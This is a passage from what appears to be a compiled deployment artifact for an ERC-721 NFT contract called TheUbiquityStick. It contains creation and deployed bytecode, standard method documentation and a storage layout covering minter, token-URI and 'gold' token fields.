bcd60e51b815260040161050e90611c09565b610644838383610e9d565b600061070483610a06565b82106107665760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161050e565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600c546001600160a01b031633146107b95760405162461bcd60e51b815260040161050e90611be5565b600b80549060019060006107cd8385611c70565b90915550604090506107dd611048565b6107e79190611c88565b61080d57602a811461080d576000818152600f60205260409020805460ff191660011790555b6106c382826110a9565b61064483838360405180602001604052806000815250610add565b61083b336106cc565b6108a05760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201526f1b995c881b9bdc88185c1c1c9bdd995960821b606482015260840161050e565b6108a9816110c3565b50565b60006108b760085490565b821061091a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161050e565b6008828154811061092d5761092d611caa565b90600052602060002001549050919050565b600c546001600160a01b031633146109695760405162461bcd60e51b815260040161050e90611be5565b60005b818110156106445761097d8361078f565b8061098781611cc0565b91505061096c565b6000818152600260205260408120546001600160a01b0316806104015760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161050e565b60006001600160a01b038216610a715760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161050e565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610ab75760405162461bcd60e51b815260040161050e90611cdb565b610ac1600061116a565b565b60606001805461041690611baa565b6106c33383836111bc565b610ae73383610da6565b610b035760405162461bcd60e51b815260040161050e90611c09565b610b0f8484848461128b565b50505050565b6000818152600260205260409020546060906001600160a01b0316610b705760405162461bcd60e51b81526020600482015260116024820152702737b732bc34b9ba32b73a103a37b5b2b760791b604482015260640161050e565b6000828152600f602052604090205460ff16610b9c57602a8214610b9557600d610b9f565b6010610b9f565b600e5b8054610baa90611baa565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd690611baa565b8015610c235780601f10610bf857610100808354040283529160200191610c23565b820191906000526020600020905b815481529060010190602001808311610c0657829003601f168201915b50505050509050919050565b600a546001600160a01b03163314610c595760405162461bcd60e51b815260040161050e90611cdb565b6001600160a01b038116610cbe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b6108a98161116a565b600a546001600160a01b03163314610cf15760405162461bcd60e51b815260040161050e90611cdb565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b0319821663780e9d6360e01b14806104015750610401826112be565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610d6d8261098f565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610e1f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161050e565b6000610e2a8361098f565b9050806001600160a01b0316846001600160a01b03161480610e655750836001600160a01b0316610e5a84610499565b6001600160a01b0316145b80610e9557506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610eb08261098f565b6001600160a01b031614610f185760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161050e565b6001600160a01b038216610f7a5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b610f8583838361130e565b610f90600082610d38565b6001600160a01b0383166000908152600360205260408120805460019290610fb9908490611d10565b90915550506001600160a01b0382166000908152600360205260408120805460019290610fe7908490611c70565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000444233600b5460405160200161108b9493929190938452602084019290925260601b6bffffffffffffffffffffffff19166040830152605482015260740190565b6040516020818303038152906040528051906020012060001c905090565b6106c3828260405180602001604052806000815250611319565b60006110ce8261098f565b90506110dc8160008461130e565b6110e7600083610d38565b6001600160a01b0381166000908152600360205260408120805460019290611110908490611d10565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b0316141561121e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161050e565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611296848484610e9d565b6112a28484848461134c565b610b0f5760405162461bcd60e51b815260040161050e90611d27565b60006001600160e01b031982166380ac58cd60e01b14806112ef57506001600160e01b03198216635b5e139f60e01b145b8061040157506301ffc9a760e01b6001600160e01b0319831614610401565b610644838383611459565b6113238383611511565b611330600084848461134c565b6106445760405162461bcd60e51b815260040161050e90611d27565b60006001600160a01b0384163b1561144e57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611390903390899088908890600401611d79565b602060405180830381600087803b1580156113aa57600080fd5b505af19250505080156113da575060408051601f3d908101601f191682019092526113d791810190611db6565b60015b611434573d808015611408576040519150601f19603f3d011682016040523d82523d6000602084013e61140d565b606091505b50805161142c5760405162461bcd60e51b815260040161050e90611d27565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610e95565b506001949350505050565b6001600160a01b0383166114b4576114af81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6114d7565b816001600160a01b0316836001600160a01b0316146114d7576114d7838261165f565b6001600160a01b0382166114ee57610644816116fc565b826001600160a01b0316826001600160a01b0316146106445761064482826117ab565b6001600160a01b0382166115675760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161050e565b6000818152600260205260409020546001600160a01b0316156115cc5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161050e565b6115d86000838361130e565b6001600160a01b0382166000908152600360205260408120805460019290611601908490611c70565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000600161166c84610a06565b6116769190611d10565b6000838152600760205260409020549091508082146116c9576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061170e90600190611d10565b6000838152600960205260408120546008805493945090928490811061173657611736611caa565b90600052602060002001549050806008838154811061175757611757611caa565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061178f5761178f611dd3565b6001900381819060005260206000200160009055905550505050565b60006117b683610a06565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b8280546117fb90611baa565b90600052602060002090601f01602090048101928261181d5760008555611863565b82601f1061183657805160ff1916838001178555611863565b82800160010185558215611863579182015b82811115611863578251825591602001919060010190611848565b5061186f929150611873565b5090565b5b8082111561186f5760008155600101611874565b6001600160e01b0319811681146108a957600080fd5b6000602082840312156118b057600080fd5b81356118bb81611888565b9392505050565b6000815180845260005b818110156118e8576020818501810151868301820152016118cc565b818111156118fa576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006118bb60208301846118c2565b60006020828403121561193457600080fd5b5035919050565b80356001600160a01b038116811461195257600080fd5b919050565b6000806040838503121561196a57600080fd5b6119738361193b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156119b2576119b2611981565b604051601f8501601f19908116603f011681019082821181831017156119da576119da611981565b816040528093508581528686860111156119f357600080fd5b858560208301376000602087830101525050509392505050565b60008060408385031215611a2057600080fd5b82359150602083013567ffffffffffffffff811115611a3e57600080fd5b8301601f81018513611a4f57600080fd5b611a5e85823560208401611997565b9150509250929050565b600080600060608486031215611a7d57600080fd5b611a868461193b565b9250611a946020850161193b565b9150604084013590509250925092565b600060208284031215611ab657600080fd5b6118bb8261193b565b60008060408385031215611ad257600080fd5b611adb8361193b565b915060208301358015158114611af057600080fd5b809150509250929050565b60008060008060808587031215611b1157600080fd5b611b1a8561193b565b9350611b286020860161193b565b925060408501359150606085013567ffffffffffffffff811115611b4b57600080fd5b8501601f81018713611b5c57600080fd5b611b6b87823560208401611997565b91505092959194509250565b60008060408385031215611b8a57600080fd5b611b938361193b565b9150611ba16020840161193b565b90509250929050565b600181811c90821680611bbe57607f821691505b60208210811415611bdf57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600a90820152692737ba1036b4b73a32b960b11b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611c8357611c83611c5a565b500190565b600082611ca557634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cd457611cd4611c5a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082821015611d2257611d22611c5a565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611dac908301846118c2565b9695505050505050565b600060208284031215611dc857600080fd5b81516118bb81611888565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220f6f63ab6ade82721011a04ce53361b2765c15af2253e7b8f491e0ca16e64e7b564736f6c63430008090033", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80634f6ccce7116100f957806395d89b4111610097578063c87b56dd11610071578063c87b56dd14610381578063e985e9c514610394578063f2fde38b146103d0578063fca3b5aa146103e357600080fd5b806395d89b4114610353578063a22cb4651461035b578063b88d4fde1461036e57600080fd5b806370a08231116100d357806370a082311461031e578063715018a6146103315780638bbf58b3146103395780638da5cb5b1461034257600080fd5b80634f6ccce7146102e55780635832bcfe146102f85780636352211e1461030b57600080fd5b806318160ddd116101665780632f745c59116101405780632f745c591461029957806340d097c3146102ac57806342842e0e146102bf57806342966c68146102d257600080fd5b806318160ddd1461025157806320c69e561461026357806323b872dd1461028657600080fd5b806301ffc9a7146101ae57806306fdde03146101d657806307546172146101eb578063081812fc14610216578063095ea7b314610229578063162094c41461023e575b600080fd5b6101c16101bc36600461189e565b6103f6565b60405190151581526020015b60405180910390f35b6101de610407565b6040516101cd919061190f565b600c546101fe906001600160a01b031681565b6040516001600160a01b0390911681526020016101cd565b6101fe610224366004611922565b610499565b61023c610237366004611957565b610533565b005b61023c61024c366004611a0d565b610649565b6008545b6040519081526020016101cd565b6101c1610271366004611922565b600f6020526000908152604090205460ff1681565b61023c610294366004611a68565b6106c7565b6102556102a7366004611957565b6106f9565b61023c6102ba366004611aa4565b61078f565b61023c6102cd366004611a68565b610817565b61023c6102e0366004611922565b610832565b6102556102f3366004611922565b6108ac565b61023c610306366004611957565b61093f565b6101fe610319366004611922565b61098f565b61025561032c366004611aa4565b610a06565b61023c610a8d565b610255600b5481565b600a546001600160a01b03166101fe565b6101de610ac3565b61023c610369366004611abf565b610ad2565b61023c61037c366004611afb565b610add565b6101de61038f366004611922565b610b15565b6101c16103a2366004611b77565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b61023c6103de366004611aa4565b610c2f565b61023c6103f1366004611aa4565b610cc7565b600061040182610d13565b92915050565b60606000805461041690611baa565b80601f016020809104026020016040519081016040528092919081815260200182805461044290611baa565b801561048f5780601f106104645761010080835404028352916020019161048f565b820191906000526020600020905b81548152906001019060200180831161047257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166105175760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061053e8261098f565b9050806001600160a01b0316836001600160a01b031614156105ac5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161050e565b336001600160a01b03821614806105c857506105c881336103a2565b61063a5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161050e565b6106448383610d38565b505050565b600c546001600160a01b031633146106735760405162461bcd60e51b815260040161050e90611be5565b8161068b57805161064490600d9060208401906117ef565b60018214156106a757805161064490600e9060208401906117ef565b60028214156106c35780516106449060109060208401906117ef565b5050565b6106d2335b82610da6565b6106ee5760405162461bcd60e51b815260040161050e90611c09565b610644838383610e9d565b600061070483610a06565b82106107665760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161050e565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600c546001600160a01b031633146107b95760405162461bcd60e51b815260040161050e90611be5565b600b80549060019060006107cd8385611c70565b90915550604090506107dd611048565b6107e79190611c88565b61080d57602a811461080d576000818152600f60205260409020805460ff191660011790555b6106c382826110a9565b61064483838360405180602001604052806000815250610add565b61083b336106cc565b6108a05760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201526f1b995c881b9bdc88185c1c1c9bdd995960821b606482015260840161050e565b6108a9816110c3565b50565b60006108b760085490565b821061091a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161050e565b6008828154811061092d5761092d611caa565b90600052602060002001549050919050565b600c546001600160a01b031633146109695760405162461bcd60e51b815260040161050e90611be5565b60005b818110156106445761097d8361078f565b8061098781611cc0565b91505061096c565b6000818152600260205260408120546001600160a01b0316806104015760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161050e565b60006001600160a01b038216610a715760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161050e565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610ab75760405162461bcd60e51b815260040161050e90611cdb565b610ac1600061116a565b565b60606001805461041690611baa565b6106c33383836111bc565b610ae73383610da6565b610b035760405162461bcd60e51b815260040161050e90611c09565b610b0f8484848461128b565b50505050565b6000818152600260205260409020546060906001600160a01b0316610b705760405162461bcd60e51b81526020600482015260116024820152702737b732bc34b9ba32b73a103a37b5b2b760791b604482015260640161050e565b6000828152600f602052604090205460ff16610b9c57602a8214610b9557600d610b9f565b6010610b9f565b600e5b8054610baa90611baa565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd690611baa565b8015610c235780601f10610bf857610100808354040283529160200191610c23565b820191906000526020600020905b815481529060010190602001808311610c0657829003601f168201915b50505050509050919050565b600a546001600160a01b03163314610c595760405162461bcd60e51b815260040161050e90611cdb565b6001600160a01b038116610cbe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b6108a98161116a565b600a546001600160a01b03163314610cf15760405162461bcd60e51b815260040161050e90611cdb565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b0319821663780e9d6360e01b14806104015750610401826112be565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610d6d8261098f565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610e1f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161050e565b6000610e2a8361098f565b9050806001600160a01b0316846001600160a01b03161480610e655750836001600160a01b0316610e5a84610499565b6001600160a01b0316145b80610e9557506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610eb08261098f565b6001600160a01b031614610f185760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161050e565b6001600160a01b038216610f7a5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b610f8583838361130e565b610f90600082610d38565b6001600160a01b0383166000908152600360205260408120805460019290610fb9908490611d10565b90915550506001600160a01b0382166000908152600360205260408120805460019290610fe7908490611c70565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000444233600b5460405160200161108b9493929190938452602084019290925260601b6bffffffffffffffffffffffff19166040830152605482015260740190565b6040516020818303038152906040528051906020012060001c905090565b6106c3828260405180602001604052806000815250611319565b60006110ce8261098f565b90506110dc8160008461130e565b6110e7600083610d38565b6001600160a01b0381166000908152600360205260408120805460019290611110908490611d10565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b0316141561121e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161050e565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611296848484610e9d565b6112a28484848461134c565b610b0f5760405162461bcd60e51b815260040161050e90611d27565b60006001600160e01b031982166380ac58cd60e01b14806112ef57506001600160e01b03198216635b5e139f60e01b145b8061040157506301ffc9a760e01b6001600160e01b0319831614610401565b610644838383611459565b6113238383611511565b611330600084848461134c565b6106445760405162461bcd60e51b815260040161050e90611d27565b60006001600160a01b0384163b1561144e57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611390903390899088908890600401611d79565b602060405180830381600087803b1580156113aa57600080fd5b505af19250505080156113da575060408051601f3d908101601f191682019092526113d791810190611db6565b60015b611434573d808015611408576040519150601f19603f3d011682016040523d82523d6000602084013e61140d565b606091505b50805161142c5760405162461bcd60e51b815260040161050e90611d27565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610e95565b506001949350505050565b6001600160a01b0383166114b4576114af81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6114d7565b816001600160a01b0316836001600160a01b0316146114d7576114d7838261165f565b6001600160a01b0382166114ee57610644816116fc565b826001600160a01b0316826001600160a01b0316146106445761064482826117ab565b6001600160a01b0382166115675760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161050e565b6000818152600260205260409020546001600160a01b0316156115cc5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161050e565b6115d86000838361130e565b6001600160a01b0382166000908152600360205260408120805460019290611601908490611c70565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000600161166c84610a06565b6116769190611d10565b6000838152600760205260409020549091508082146116c9576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061170e90600190611d10565b6000838152600960205260408120546008805493945090928490811061173657611736611caa565b90600052602060002001549050806008838154811061175757611757611caa565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061178f5761178f611dd3565b6001900381819060005260206000200160009055905550505050565b60006117b683610a06565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b8280546117fb90611baa565b90600052602060002090601f01602090048101928261181d5760008555611863565b82601f1061183657805160ff1916838001178555611863565b82800160010185558215611863579182015b82811115611863578251825591602001919060010190611848565b5061186f929150611873565b5090565b5b8082111561186f5760008155600101611874565b6001600160e01b0319811681146108a957600080fd5b6000602082840312156118b057600080fd5b81356118bb81611888565b9392505050565b6000815180845260005b818110156118e8576020818501810151868301820152016118cc565b818111156118fa576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006118bb60208301846118c2565b60006020828403121561193457600080fd5b5035919050565b80356001600160a01b038116811461195257600080fd5b919050565b6000806040838503121561196a57600080fd5b6119738361193b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156119b2576119b2611981565b604051601f8501601f19908116603f011681019082821181831017156119da576119da611981565b816040528093508581528686860111156119f357600080fd5b858560208301376000602087830101525050509392505050565b60008060408385031215611a2057600080fd5b82359150602083013567ffffffffffffffff811115611a3e57600080fd5b8301601f81018513611a4f57600080fd5b611a5e85823560208401611997565b9150509250929050565b600080600060608486031215611a7d57600080fd5b611a868461193b565b9250611a946020850161193b565b9150604084013590509250925092565b600060208284031215611ab657600080fd5b6118bb8261193b565b60008060408385031215611ad257600080fd5b611adb8361193b565b915060208301358015158114611af057600080fd5b809150509250929050565b60008060008060808587031215611b1157600080fd5b611b1a8561193b565b9350611b286020860161193b565b925060408501359150606085013567ffffffffffffffff811115611b4b57600080fd5b8501601f81018713611b5c57600080fd5b611b6b87823560208401611997565b91505092959194509250565b60008060408385031215611b8a57600080fd5b611b938361193b565b9150611ba16020840161193b565b90509250929050565b600181811c90821680611bbe57607f821691505b60208210811415611bdf57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600a90820152692737ba1036b4b73a32b960b11b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611c8357611c83611c5a565b500190565b600082611ca557634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cd457611cd4611c5a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082821015611d2257611d22611c5a565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611dac908301846118c2565b9695505050505050565b600060208284031215611dc857600080fd5b81516118bb81611888565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220f6f63ab6ade82721011a04ce53361b2765c15af2253e7b8f491e0ca16e64e7b564736f6c63430008090033", - "devdoc": { - "kind": "dev", - "methods": { - "approve(address,uint256)": { - "details": "See {IERC721-approve}." - }, - "balanceOf(address)": { - "details": "See {IERC721-balanceOf}." - }, - "burn(uint256)": { - "details": "Burns `tokenId`. See {ERC721-_burn}. Requirements: - The caller must own `tokenId` or be an approved operator." - }, - "getApproved(uint256)": { - "details": "See {IERC721-getApproved}." - }, - "isApprovedForAll(address,address)": { - "details": "See {IERC721-isApprovedForAll}." - }, - "name()": { - "details": "See {IERC721Metadata-name}." - }, - "owner()": { - "details": "Returns the address of the current owner." - }, - "ownerOf(uint256)": { - "details": "See {IERC721-ownerOf}." - }, - "renounceOwnership()": { - "details": "Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner." - }, - "safeTransferFrom(address,address,uint256)": { - "details": "See {IERC721-safeTransferFrom}." - }, - "safeTransferFrom(address,address,uint256,bytes)": { - "details": "See {IERC721-safeTransferFrom}." - }, - "setApprovalForAll(address,bool)": { - "details": "See {IERC721-setApprovalForAll}." - }, - "symbol()": { - "details": "See {IERC721Metadata-symbol}." - }, - "tokenByIndex(uint256)": { - "details": "See {IERC721Enumerable-tokenByIndex}." - }, - "tokenOfOwnerByIndex(address,uint256)": { - "details": "See {IERC721Enumerable-tokenOfOwnerByIndex}." - }, - "tokenURI(uint256)": { - "details": "See {IERC721Metadata-tokenURI}." - }, - "totalSupply()": { - "details": "See {IERC721Enumerable-totalSupply}." - }, - "transferFrom(address,address,uint256)": { - "details": "See {IERC721-transferFrom}." - }, - "transferOwnership(address)": { - "details": "Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 854, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_name", - "offset": 0, - "slot": "0", - "type": "t_string_storage" - }, - { - "astId": 856, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_symbol", - "offset": 0, - "slot": "1", - "type": "t_string_storage" - }, - { - "astId": 860, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_owners", - "offset": 0, - "slot": "2", - "type": "t_mapping(t_uint256,t_address)" - }, - { - "astId": 864, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_balances", - "offset": 0, - "slot": "3", - "type": "t_mapping(t_address,t_uint256)" - }, - { - "astId": 868, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_tokenApprovals", - "offset": 0, - "slot": "4", - "type": "t_mapping(t_uint256,t_address)" - }, - { - "astId": 874, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_operatorApprovals", - "offset": 0, - "slot": "5", - "type": "t_mapping(t_address,t_mapping(t_address,t_bool))" - }, - { - "astId": 1838, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_ownedTokens", - "offset": 0, - "slot": "6", - "type": "t_mapping(t_address,t_mapping(t_uint256,t_uint256))" - }, - { - "astId": 1842, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_ownedTokensIndex", - "offset": 0, - "slot": "7", - "type": "t_mapping(t_uint256,t_uint256)" - }, - { - "astId": 1845, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_allTokens", - "offset": 0, - "slot": "8", - "type": "t_array(t_uint256)dyn_storage" - }, - { - "astId": 1849, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_allTokensIndex", - "offset": 0, - "slot": "9", - "type": "t_mapping(t_uint256,t_uint256)" - }, - { - "astId": 389, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_owner", - "offset": 0, - "slot": "10", - "type": "t_address" - }, - { - "astId": 2835, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "tokenIdNext", - "offset": 0, - "slot": "11", - "type": "t_uint256" - }, - { - "astId": 2837, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "minter", - "offset": 0, - "slot": "12", - "type": "t_address" - }, - { - "astId": 2839, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_tokenURI", - "offset": 0, - "slot": "13", - "type": "t_string_storage" - }, - { - "astId": 2844, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_goldTokenURI", - "offset": 0, - "slot": "14", - "type": "t_string_storage" - }, - { - "astId": 2848, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "gold", - "offset": 0, - "slot": "15", - "type": "t_mapping(t_uint256,t_bool)" - }, - { - "astId": 2856, - "contract": "contracts/TheUbiquityStick.sol:TheUbiquityStick", - "label": "_invisibleTokenURI", - "offset": 0, - "slot": "16", - "type": "t_string_storage" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_array(t_uint256)dyn_storage": { - "base": "t_uint256", - "encoding": "dynamic_array", - "label": "uint256[]", - "numberOfBytes": "32" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_mapping(t_address,t_bool)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => bool)", - "numberOfBytes": "32", - "value": "t_bool" - }, - "t_mapping(t_address,t_mapping(t_address,t_bool))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => bool))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_bool)" - }, - "t_mapping(t_address,t_mapping(t_uint256,t_uint256))": { - "encoding": "mapping", - 